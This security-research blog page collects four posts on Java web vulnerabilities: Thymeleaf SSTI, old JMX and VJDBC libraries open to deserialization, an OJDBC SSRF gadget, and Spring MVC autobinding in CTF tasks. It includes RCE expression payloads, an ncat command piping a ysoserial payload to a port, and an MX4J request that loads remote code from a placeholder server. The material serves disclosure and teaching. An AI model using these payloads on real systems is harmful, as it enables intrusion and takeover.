Показаны сообщения с ярлыком java. Показать все сообщения
Показаны сообщения с ярлыком java. Показать все сообщения

четверг, 23 июля 2020 г.

Exploiting SSTI in Thymeleaf

 (It's a repost from https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/ )

One of the most comfortable ways to build web pages is by using server-side templates. Such templates let you create HTML pages that include special elements that you can fill and modify dynamically. They are easy to understand for designers and easy to maintain for developers. There are many server-side template engines for different server-side languages and environments. One of them is Thymeleaf, which works with Java.

Server-side template injections (SSTI) are vulnerabilities that let the attacker inject code into such server-side templates. In simple terms, the attacker can introduce code that is actually processed by the server-side template. This may result in remote code execution (RCE), which is a very serious vulnerability. In many cases, such RCE happens in a sandbox environment provided by the template engine, but many times it is possible to escape this sandbox, which may let the attacker even take full control of the web server.

SSTI was initially researched by James Kettle and later by Emilio Pinna. However, neither of these authors included Thymeleaf in their SSTI research. Let’s see what RCE opportunities exist in this template engine.

Introduction to Thymeleaf

Thymeleaf is a modern server-side template engine for Java, based on XML/XHTML/HTML5 syntax. One of the core advantages of this engine is natural templating. This means that a Thymeleaf HTML template looks and works just like HTML. This is achieved mostly by using additional attributes in HTML tags. Here is an official example:

<table>
  <thead>
    <tr>
      <th th:text="#{msgs.headers.name}">Name</th>
      <th th:text="#{msgs.headers.price}">Price</th>
    </tr>
  </thead>
  <tbody>
    <tr th:each="prod: ${allProducts}">
      <td th:text="${prod.name}">Oranges</td>
      <td th:text="${#numbers.formatDecimal(prod.price, 1, 2)}">0.99</td>
    </tr>
  </tbody>
</table>
 

If you open a page with this code using a browser, you will see a filled table and all Thymeleaf-specific attributes will simply be skipped. However, when Thymeleaf processes this template, it replaces tag text with values passed to the template.

Hacking Thymeleaf

To attempt an SSTI in Thymeleaf, we first must understand expressions that appear in Thymeleaf attributes. Thymeleaf expressions can have the following types:

  • ${...}: Variable expressions – in practice, these are OGNL or Spring EL expressions.
  • *{...}: Selection expressions – similar to variable expressions but used for specific purposes.
  • #{...}: Message (i18n) expressions – used for internationalization.
  • @{...}: Link (URL) expressions – used to set correct URLs/paths in the application.
  • ~{...}: Fragment expressions – they let you reuse parts of templates.

The most important expression type for an attempted SSTI is the first one: variable expressions. If the web application is based on Spring, Thymeleaf uses Spring EL. If not, Thymeleaf uses OGNL.

The typical test expression for SSTI is ${7*7}. This expression works in Thymeleaf, too. If you want to achieve remote code execution, you can use one of the following test expressions:

  • SpringEL: ${T(java.lang.Runtime).getRuntime().exec('calc')}
  • OGNL: ${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}

However, as we mentioned before, expressions only work in special Thymeleaf attributes. If it’s necessary to use an expression in a different location in the template, Thymeleaf supports expression inlining. To use this feature, you must put an expression within [[...]] or [(...)] (select one or the other depending on whether you need to escape special symbols). Therefore, a simple SSTI detection payload for Thymeleaf would be [[${7*7}]].

Chances that the above detection payload would work are, however, very low. SSTI vulnerabilities usually happen when a template is dynamically generated in the code. Thymeleaf, by default, doesn’t allow such dynamically generated templates and all templates must be created earlier. Therefore, if a developer wants to create a template from a string on the fly, they would need to create their own TemplateResolver. This is possible but happens very rarely.

A Dangerous Feature

If we take a deeper look into the documentation of the Thymeleaf template engine, we will find an interesting feature called expression preprocessing. Expressions placed between double underscores (__...__) are preprocessed and the result of the preprocessing is used as part of the expression during regular processing. Here is an official example from Thymeleaf documentation:

#{selection.__${sel.code}__}

Thymelead first preprocesses ${sel.code}. Then, it uses the result (in this example it is a stored value ALL) as part of a real expression evaluated later (#{selection.ALL}).

This feature introduces a major potential for an SSTI vulnerability. If the attacker can control the content of the preprocessed value, they can execute an arbitrary expression. More precisely, it is a double-evaluation vulnerability, but this is hard to recognize using a black-box approach.

A Real-World Example of SSTI in Thymeleaf

PetClinic is an official demo application based on the Spring framework. It uses Thymeleaf as a template engine.

Most templates in this application reuse parts of the layout.html template, which includes a navigation bar. It has a special fragment (function), which generates the menu.

<li th:fragment="menuItem (path,active,title,glyph,text)" class="active" th:class="${active==menu ? 'active' : ''}">
      <a th:href="@{__${path}__}" th:title="${title}">

As you can see, the application preprocesses ${path}, which is then is used to set a correct link (@{}). However, this value comes from other parts of the template:

<li th:replace="::menuItem ('/owners/find','owners','find owners','search','Find owners')">

Unfortunately, all the parameters are static and uncontrollable by the attacker.

However, if we try to access a route that does not exist, the application returns the error.html template, which also reuses this part of layout.html. In the case of an exception (and accessing a route that does not exist is an exception), Spring automatically adds variables to the current context (model attributes). One of these variables is path (others include timestamp, trace, message, and more).

The path variable is a path part (with no URL-decoding) of the URL of the current request. More importantly, this path is used inside the menuItem fragment. Therefore, __${path}__ preprocesses the path from the request. And the attacker can control this path to achieve SSTI, and as a result of it, RCE.

As a simple test, we can send a request to http://petclinic/(7*7) and get 49 as the response.

However, despite this effect, we couldn’t find a way to achieve RCE in this situation when the application runs on Tomcat. This is because you need to use Spring EL, so you need to use ${}. However, Tomcat does not allow { and } characters in the path without URL-encoding. And we cannot use encoding, because ${path} returns the path without decoding. To prove these assumptions, we ran PetClinic on Jetty instead of Tomcat and achieved RCE because Jetty does not limit the use of { and } characters in the path:

http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})

We had to use ( and ) characters because after preprocessing the @{} expression receives a string starting with / (for example, /${7*7}), so the expression is not treated as an expression. The @{} expression allows you to add parameters to the URL by putting them in parentheses. We can misuse this feature to clear the context and get our expression executed.

Conclusion

Server-side template injection is much more of an issue than it appears to be because server-side templates are used more and more often. There are a lot of such template engines, and a lot of them remain unexploited yet but may introduce SSTI vulnerabilities if misused. There is a long way from ${7*7} to achieving RCE but in many cases, as you can see, it is possible.

As security researchers, we always find it interesting to see how complex technologies clash and affect each other and how much still remains unexplored.

 

четверг, 27 февраля 2020 г.

The curse of old Java libraries

(It's a repost from https://www.acunetix.com/blog/web-security-zone/old-java-libraries/

Java is known for its backward-compatibility. You can still execute code that was written many years ago, as long as you use an appropriate version of Java. Thanks to this feature, modern projects use a wide range of libraries that have been “tested by time” in production. However, such libraries are often left unsupported by maintainers for a long time. As a result, when you discover a vulnerability in a library, you may find it very hard to report the issue and to warn the developers who use that library.

Here are a few examples of such problems related to old libraries, which I recently came across when exploiting vulnerabilities as part of various bug bounty programs.

JMX and JMXMP

JMX (Java Management Extensions) is a well-known and widely-used technology for monitoring and managing Java applications. Since the Java deserialization “apocalypse”, it is perceived as quite notorious for security specialists. JMX uses the RMI protocol for transport purposes, which makes it inherently vulnerable to Java deserialization attacks. However, Oracle introduced the specification JEP-290 (JDK ≥ 8u121, ≥ 7u131, ≥ 6u141), which made such attacks much harder.

It turns out that according to the JMX specification (JSR-160), JMX also supports other transport protocols (called connectors), including the JMX Messaging Protocol (JMXMP) – a protocol specially created for JMX. However, this protocol was not included in Java SE and so it never became popular. One of the main advantages of JMXMP in comparison to RMI is the fact that JMXMP requires only one TCP port (RMI uses one static port for the RMI registry and another dynamically chosen port for actual interaction with a client). This fact makes JMXMP much more convenient when you need to restrict access using a firewall or when you want to set up port forwarding.

Despite the fact that libraries implementing JMXMP (jmxremote_optional.jar, opendmk_jmxremote_optional_jar-1.0-b01-ea.jar) have not been updated for at least ten years, JMXMP is still alive and used from time to time. For example, JMXMP is used in the Kubernetes environment and support for JMXMP has recently been added to Elassandra.

The problem with JMXMP is that this protocol completely relies on Java serialization for data transfer. At the same time, Oracle patches for JMX/RMI vulnerabilities don’t cover JMXMP, which makes it open to the Java deserialization attack. To exploit this vulnerability, you don’t even need to understand the protocol or the format of the data, just send a serialized payload from ysoserial directly to a JMXMP port:

ncat target.server.com 11099 < test.jser

If you cannot exploit this Java deserialization vulnerability (due to the lack of gadgets in the application classpath), you still can use other methods like uploading your MBean or misusing existing MBean methods. In order to connect to such JMX, you need to download the necessary package, add it to the classpath, and use the following format to specify the JMX endpoint: service:jmx:jmxmp://target.server.com:port/.

For example:

jconsole -J-Djava.class.path="%JAVA_HOME%/lib/jconsole.jar";"%JAVA_HOME%/lib/opendmk_jmxremote_optional_jar-1.0-b01-ea.jar" service:jmx:jmxmp://target.server.com:port/

You can also use MJET but it requires similar changes to the code.

MX4J

MX4J is an open-source implementation of JMX. It also provides an HTTP adapter that exposes JMX through HTTP (it works as a servlet). The problem with MX4J is that by default it doesn’t provide authentication. To exploit it, we can deploy a custom MBean using MLet (upload and execute the code). To upload the payload, you can use MJET. To force MX4J to get the MBean, you need to send a GET request to:

/invoke?objectname=DefaultDomain:type=MLet&operation=getMBeansFromURL&type0=java.lang.String&value0=http://yourserver/with/mlet

MX4J has not been updated for 15 years, but it is used by such software as Cassandra (in a non-default configuration). Your “homework” now is to look deeper into it and search for vulnerabilities. Note the use of hessian and burlap protocols as JMX-connectors, which are also vulnerable to deserialization attacks in a default configuration.

VJDBC

Virtual JDBC is an old library that provides access to a database using JDBC via other protocols (HTTP, RMI). In the case of HTTP, it provides a servlet, which you can use to send a special HTTP request that includes an SQL query and receive a result from a DB used by the web application. Unfortunately, VJDBC also uses Java serialization (via HTTP) to interact with the servlet.

If you use Google to search for this term, you will find that almost every search result is related to SAP Hybris. SAP Hybris is a major eCommerce/CRM platform used by many large enterprises. By default, SAP Hybris exposes the vjdbc-servlet that is vulnerable to an RCE caused by Java deserialization – CVE-2019-0344 (and which had other serious security issues in the past as well). A test for this vulnerability was added to Acunetix in September 2019. Unfortunately, it looks like SAP fixed only their internal version of VJDBC, and therefore all other software that depends on this library is vulnerable and its creators are probably unaware of the problem.

No Way Out

I was unable to report vulnerabilities in these libraries. For example, in the case of JMXMP, Oracle doesn’t support JDMK anymore at all. The only thing I could do is send reports directly to big projects that use these vulnerable libraries. I also wanted to use this article to increase awareness so please share it if you believe any of your colleagues might be using these libraries.

If you still rely on these libraries, try to find a safe alternative. If it’s impossible, restrict access to them and/or use process-level filters described in JEP-290 to protect against deserialization and/or put the application in a sandbox. Also, since these are open-source libraries, you can patch them manually.

Also, whenever you’re planning to use a package/library, make sure that it’s still supported and that there are still maintainers. In all the above cases, if maintainers still supported these projects, they could easily find and fix such vulnerabilities.

It would also be great if in the future Java and other languages would get a centralized method for reporting vulnerabilities in public packages/libraries, similar to the excellent central reporting system for Node.js.

пятница, 12 января 2018 г.

Java Deserialization: Misusing OJDBC for SSRF


This year ZeroNights has got a new zone - Web Village. It was a special "track" for people who were interested in web security. The basic idea of the Web Village is to tell people about typical vulnerabilities and attack techniques. I made a speech about basics of deserialization vulns in various languages. I wanted to show common patterns which make serialization libs potentially vulnerable. There is that presentation.

In the presentation I showed an example of a new Java gadget in order to prove that it's stupid to "fix" gadgets or "blacklist" them instead of protecting/changing deserialization lib. Here I’d like to show some details of the example.

The gadget is a class in a library which is used to connect a Java application to a RDBMS Oracle - ojdbc. Actually, this exact class (OraclePooledConnection) is responsible for establishing a connection.
The example is very simple, because the class has a readObject method which goal is to reestablish connection to a database during a deserialization process.
In the bottom of the post you can read the code, but it's not necessary, because we are going to use it in the same way as it's supposed to be used.

As we control a field (connection_url) with a string where a java application tries to connect during deserialization process, it means that we have a SSRF vulnerability here.
At first glance, it looks pretty useless, because the Oracle's protocol is binary. But I played with Oracle DB some years ago and know that the client (and TNS protocol) is very flexible.
The "URL" consists of several fields:

jdbc:oracle:thin:login/password@//any.domain.name.here.com:8888/service_name

I think almost all of them are self-describing.
An important feature for us is that the "service name" field can contain a very long value and almost any ASCII symbols. So, potentially we can interact with text-based services. Yes, there will be binary garbage before the service name and after, but many servers don't care much about such things ("errors friendly").

So step-by-step, we create a serialized object with a specific payload as service name, send it to an application. The application runs readObject of "OraclePooledConnection" class and it forces the application to connect to wherever we want and to send our payload.

So, my point is pretty clear, the class doesn't really have any vulns, but we still can misuse its features for our attacks.


PS: The same "SSRF-attack" you can perform if you have access to Oracle DB with privs that allow you to create DB links.

P.P.S: Potentially, the attack can be improved somehow... As we control the "url" for connection, may be we can steal NetNTLM credentials (because oracle auth supports it) or perform TNS Poisoning attack?

 Code of readObject method of OraclePooledConnection class

пятница, 24 марта 2017 г.

Autobinding vulns and Spring MVC




Intro

If you don’t want to read all this text, you can watch video from the 29thmeeting of Defcon Russia Group (in Russian)

There is a not so well-known vulnerability type - "autobinding", or "mass assignment". The idea this type is based on a feature that is implemented in many frameworks. It allows a framework to automatically bind HTTP request parameters to objects and make them accessible to a developer. However, an attacker can add additional HTTP request params and they will possibly be bounded to an object. Depending on a victim software and its logic, the attacker can achieve some interesting results.

The autobinding feature is pretty widespread for frameworks, which makes attack surface rather wide. However, usually it's hard to find them without knowing source code and impact of a vuln strongly depends on an application.

You can read about this type of vulns on OWASP
There are also some simple examples, so if you are not familiar with it, I recommend that you look at it.

A "real" example of such vulnerability and some additional information for Spring MVC framework was published by Ryan Berg and Dinis Cruz in 2011 -  https://o2platform.files.wordpress.com/2011/07/ounce_springframework_vulnerabilities.pdf
  

Something new


It's passed much time since that publication and Spring MVC now is not like it was before. It's much much cooler :)
When I was preparing tasks for the last ZeroNigths HackQuest, I wanted to provide one with an autobinding vuln to make people more familiar with this type of vulns. During the creation of the task, I've spotted an unknown/hidden variation of the autobinding vuln and I'd like to tell you about it.

As I wrote before, Spring MVC has changed. It's much smarter and has more features now. One of the new things is using annotations for doing "magic" things.
Because of them and some misunderstanding in minds, we can find an autobinding vuln in unexpected places.
Let's look at some of them and their official description (taken from here http://docs.spring.io/spring/docs/3.1.x/spring-framework-reference/html/mvc.html)


1) @ModelAttribute on a method argument
"An @ModelAttribute on a method argument indicates the argument should be retrieved from the model..."

2) @ModelAttribute on a method
"An @ModelAttribute on a method indicates the purpose of that method is to add one or more model attributes. @ModelAttribute methods in a controller are invoked before @RequestMapping methods"

3) @SessionAttribute for controller
"The type-level @SessionAttributes annotation declares session attributes used by a specific handler. This will typically list the names of model attributes or types of model attributes which should be transparently stored in the session"

4) FlashAttribute
"Flash attributes provide a way for one request to store attributes intended for use in another."

If you are not familiar with them or don't know spring at all, don't panic, because it will be clearer with further examples :)

What do the examples 2-4 have in common? They are all somehow related to  "passing" data between methods.
One of the ways to get data that was passed to the method is to use @ModelAttribute on a method argument (look at 1). However, it could lead to autobinding vuln. Why? Because @ModelAttribute is pretty “smart”. Let's look at a full description of it.

"An @ModelAttribute on a method argument indicates the argument should be retrieved from the model. If not present in the model, the argument should be instantiated first and then added to the model. Once present in the model, the argument's fields should be populated from all request parameters that have matching names."

So, first, @ModelAttribute retrieves an object from the model (or somewhere else) and then it populates the object with a user request. Therefore, a coder expects trusted data (the object) from the model, but an attacker can change it by just sending a specially crafted request.
I've made 2 tasks for ZN HQ, and both of them contain variations of autobinding vulns. Let's have a look  at what's going on there.

Sources of the tasks - https://github.com/GrrrDog/ZeroNights-HackQuest-2016

The First School of Bulimia “Edik”


The application consists of 3 "pages": registration, authentication, home page. The goal is to perform an expression language injection in the home page. The obstacle is that a user can set values only during registration process...
There is a class of User and it has 3 fields (name, password, weight) in the application.
The registration controller looks like that:



As we can see, the controller gets User object from a user request, validates it, and if the object is validated, the controller puts it in "DB".


The validating process is very strict. Because of whitelisting, we can use only figures or symbols, but we need to put special symbols in the user object! How? There is no way for the registration controller.


So, what can we do as attackers? Let's take a look at the authentication and home controller.
Authentication and home controller:

Authentication method does pretty simple things:
1) gets a username and password from a request;
2) gets a user object from the db using the username and password;
3) puts the user object in FlashAttribute and redirects to home method (sends redirect response to "/home");
So, there is no way to change the user object too.




 What about the home method?
It just gets the user object from the flash attribute and shows it to us.
@modelAttribute is used in this case to get the user object, but it also can populate the user object with incoming request params! So, we can change values in the user object!
All we need to do is to authenticate (send a request to the authenticate method) and add an additional HTTP param during redirection.
So, our request will look like:

/home?name=${We_Can_Write_Here_wharever_we_want} 

The goal is achieved.

Populating

There is an interesting and maybe not so obvious fact about autobinding. During populating data, Spring MVC makes changes on a field basis; it doesn't create a new object if something comes from an HTTP request. It means if there is an object from the model and only one param is received from an HTTP request, the value of only one field (with the same name as the HTTP param) will be changed and other fields will stay the same.


Justice League

Another task. Actually, solution for this task doesn't involve using an autobinding vuln, but there is one.
The application consists of registration, authentication, home, and password recovering "pages". The latter is only one that is important for us.
Actually, recovering page is just one controller with several methods and it represents a way of creating "wizards" (multi-step forms).
Our goal for this task is to bypass authentication.

Overall logic is the following.
1) A user comes to a recovery page, inputs its username and send a request to submit the form
2) the resetHandler method receives the HTTP request. It gets a user object from the db using the username from the request. Then it puts the user object in the Model, and it automatically puts the object into a session (@SessionAttribute("user") for the controller). Then it redirects to next part of "wizard".
 

3) The user is redirected to the resetViewQuestionHandler method. Actually, the method takes the user object from the session (yeah-yeah, using @ModelAttribute). It requires that object because the method has to get a custom user security question and show it in a view (however, that hasn't been implemented :)




4) When the user sends an answer for the question, the resetQuestionHandler method handles it. The method gets the answer from "answerReset" param and compares with the value in answer field from the user object. If answers match, the method generates a new secure password and shows it to the user.
As you can see, there is no @ModelAttribute near User user (in the method argument). However, Spring MVC is smart and automatically gets value from the session. Actually, it uses the same logic: gets value from somewhere, populates it with a user request.

So, what we can do as attackers?
a) We can add "answer=any_value", when we send a request to resetViewQuestionHandler. Then our answer is populated with an object from a session. So, we can change a correct answer to any value and after that set the same value for the resetQuestionHandler method.
Therefore, we can start the recovery process for admin user, bypass answer checking, and get a new password for admin.
b) We can add "answer=any_value" on the last step too (resetQuestionHandler) and get the same results. Actually, we can change a whole object if we would like.



Session Puzzling

There is another interesting thing. When a method gets an object from a session and populates it with a user request, @SessionAttribute "forces" Spring to store this newly populated object in the session. Therefore, we are able to control values of the object that are stored in the session. How can we use it?
If there is another controller that uses the same name of session attribute and trusts it, then we can perform a Session Puzzling attack (Session Variable Overloading). https://www.owasp.org/index.php/Testing_for_Session_puzzling_(OTG-SESS-008) . As far as I remember, the documentation says that a session attribute (created using @SessionAttribute) is limited to a controller, but in practice, we can use it in other controllers too.


Real Examples

I was looking for real examples of such issues on GitHub and in articles about Spring MVC and even found some. But:
1) examples identified on GitHub look like someone’s experiments with Spring MVC (not like real stuff)
2) there are some articles that recommend "dangerous" using of @ModelAttribute, but their examples are too simple and there is no potential impact.

Detection

At first glance, finding autobinding vulns using the "blackbox" approach looks impossible. Nevertheless, both of tasks were solved, both autobinding vulns were found. Respect to these people :)

There are some things that can help us to find such type of vulns:
1) often, a param name is equal to the name of a field of an object (but not necessary, because it's configurable). As the fields are often named in specific way, we can distinguish them. Of note, autobinding can be used with hashmaps and arrays.
2) When autobinding in a controller's method is used and when we send two parameters with the same name, the value in the object will be a concatenation of parameters.
Example:
Request with params:
?name=text1&name=text2
Result:
ObjectWithNameField.name = text1,text2
3) As soon as we've collected all param names, we can send them to all entry points (URLs), even to those that, at first glance, don't accept params (like resetViewQuestionHandler), and check if replies are different or the same as without params.


Conclusion

I've not shown an example related to incorrect using of "@ModelAttribute on a method", but something similar could happen in this case too.
As you can see, the main idea,  is based on the fact that a programmer thinks that he or she gets an object from a trusted place, but in practice, the object can be modified by an attacker.

I'm not sure, that I’ve correctly described causes of such a vuln, why and how Spring MVC behaves in this way.

It's hard to say exactly how common this variation of autobinding vuln is (but it definitely can be somewhere ;) . In general, autobinding vulns are pretty widespread, because of the feature they are based on. Moreover, the autobinding is not just about HTTP params, theoretically, any incoming data (e.g. JSON or XML) can be converted and then populated. However, a possibility of exploitation and impact strongly depend on many things ranging from using annotations and names of attributes to business logic of an application. 

Sources of the tasks - https://github.com/GrrrDog/ZeroNights-HackQuest-2016